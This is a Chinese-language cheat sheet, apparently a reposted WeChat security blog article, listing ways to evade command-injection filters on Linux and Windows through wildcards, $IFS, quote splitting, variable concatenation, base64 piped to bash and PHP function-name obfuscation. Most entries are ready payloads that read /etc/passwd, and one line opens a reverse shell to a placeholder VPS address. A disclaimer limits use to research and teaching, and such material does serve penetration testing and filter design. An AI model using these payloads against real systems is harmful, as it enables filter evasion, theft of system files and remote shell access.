一、命令执行绕过
0x01 使用文件绕过(只能在Linux下)
(2):复杂命令执行
•创建文件
touch
* 1.txt
(3):反弹shell
>bash
* -i >& /dev/tcp/VPSIP/1234 0>&1
0x02 使用通配符绕过
cat /et?/p?*sswd
cat /e?c/p?*wd
cat /e*/p*d
/???/[n]?[t]??[t] -lvp 4444
0x03 使用&进行命令拼接
ls & cat /etc/passwd
0x04 使用注释符#进行绕过
cat /etc/passwd #anything
0x05 使用URL编码绕过
cat%20%2Fetc%2Fpasswd
这种是在web端进行命令执行绕过最常用的方法。
0x06 使用$IFS空字符绕过
cat$IFS/etc/passwd
cat$IFS$1/etc/passwd
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
0x07 字符拼接
cat /"e"tc/'p'a's'swd
cat /'e't'c'/p'as'swd
cat /et''c/pass``wd
0x08 转义拼接
cat /etc/passwd
通过转义可以进行命令执行。
0x09 命令拼接
a=ca;b=t;$a$b /etc/passwd
a=c;b=a;c=t;$a$b$c /etc/passwd
a=cat;$a /etc/passwd
0x10 填充垃圾字符绕过
cat /etc/passwd xxx
666`whoami`666
666`whoami`666
w`f1hgb`ho`f1hgb`am`f1hgb`i //反引号的作用是把括起来的字符当做命令执行
w`f1hgb`ho`f1hgb`am`f1hgb`i //这个反斜线作用就是平时的那种连接,反引号的作用是把括起来的字符当做命令执行
wh$(f1hgb)oa$(f1hgb)mi //和上面的差不多,都说执行和拼接
0x11 分号(;)
多条语句顺序执行时的分割符号。
cmd1;cmd2
0x12 管道符(|)
cmd1命令的输出,作为下一条命令cmd2的参数。
cmd1 | cmd2
0x13 and(&&)
与命令,cmd1成功则执行cmd2,cmd1失败则不执行cmd2
cmd1 && cmd2
0x14 or(||)
或命令,cmd1失败则执行cmd2,cmd1成功则不执行cmd2
cmd1 || cmd2
0x15 反引号``和$()
反引号和$()都可用来表示命令,被这两种方式包含的字符串都会被当做命令首先执行。
echo "result : `whoami`"
echo "result : $(whoami)"
0x20 重定向绕过
cat<>1.txt
cat<1.txt
0x21 %09(需要php环境)
php环境下web输入%09等效于空格
cat%091.txt
0x22 base64编码
将想要执行的命令进行base64编码,然后添加到下面的双引号里面。
echo "cHdk" | base64 -d | bash
0x23 单引号和双引号
c""at 1.tx''t
0x24 反斜杠绕过
cat 1.txt
0x25 $1、$@、$*绕过
c$1a$1t 1.t$1$1x$1t
c$@a$@t 1.t$@x$@t
c$*a$*t 1.t$*x$*t
0x26 长度绕过
使用>>绕过长度限制,使用>>每次添加一部分命令到文件中。
echo -n "cat " > r;
echo -n "/etc" >> r;
echo "/passwd" >> r;
cat r | bash
使用这种方式也可以执行一些命令。
ca
t 1.t
xt
0x27 逗号(,)绕过
{cat,/etc/passwd}
用逗号实现了空格的作用,但是需要使用{}括起来。
0x28 x20绕过
COMMAND=$'x20-al';ls$COMMAND
COMMAND=$'x20';ifconfig$COMMAND
COMMAND=$'x20';whoami$COMMAND
COMMAND=$'x20';id$COMMAND
COMMAND=$'x20';pwd$COMMAND
0x29 环境变量绕过
打印出环境变量,然后截取其中的字符,通过字符拼接执行命令。
echo ${PATH}
echo ${PATH:5:1}
echo ${PATH:2:1}
${PATH:5:1}${PATH:2:1}
二、文件名绕过
0x01 拼接文件名绕过
cat fl[abc]g.txt //匹配[abc]中的任何一个
cat f[a-z]ag.txt //匹配a-z范围的任何字符
cat fla* //用*匹配任意
a=f;b=l;c=ag;d=.txt;cat $a$b$c$d 表示cat flag.txt //内联执行
0x02 使用正则进行匹配
查看/etc/passwd文件
cat /???/??????
cat /???/pass*
cat /etc$u/passwd
0x03 系统命令执行
system("cat /etc/passwd")
<=>
"x73x79x73x74x65x6d"("cat /etc/passwd");
<=>
(sy.(st).em)("cat /etc/passwd");
<=>还可以用注释方法绕过
"system/*fthgb666*/("cat /etc/passwd);"
<=>
"system/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
<=>
"(sy./*fthgb666*/(st)/*fthgb666*/.em)/*fthgb666*/(wh./*fthgb666*/(oa)/*fthgb666*/.mi);"
三、windows命令绕过
0x01 type绕过命令执行(windows)
type.flag.txt
type,flag.txt
0x02 使用特殊符号进行绕过
whoami
who^am^i
who""ami"i"
who""""ami
0x03 set命令绕过
set a=who
set b=ami
%a%%b% //正常执行whoami
call %a%%b% //正常执行whoami
set a=whoami
%a:~0% //取出所有字符,所以正常执行命令
%a:~0,6% //从开始切割6个字符,刚好是whoami,所以正常执行
%a:~0,5% //切割后是whoam,不是系统命令,不能执行
0x04 使用ping绕过执行命令
cmd.exe /c "ping 127.0.0.1/../../../../../../../../../../windows/system32/whoami"
原文始发于微信公众号(想走安全的小白):命令执行绕过
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论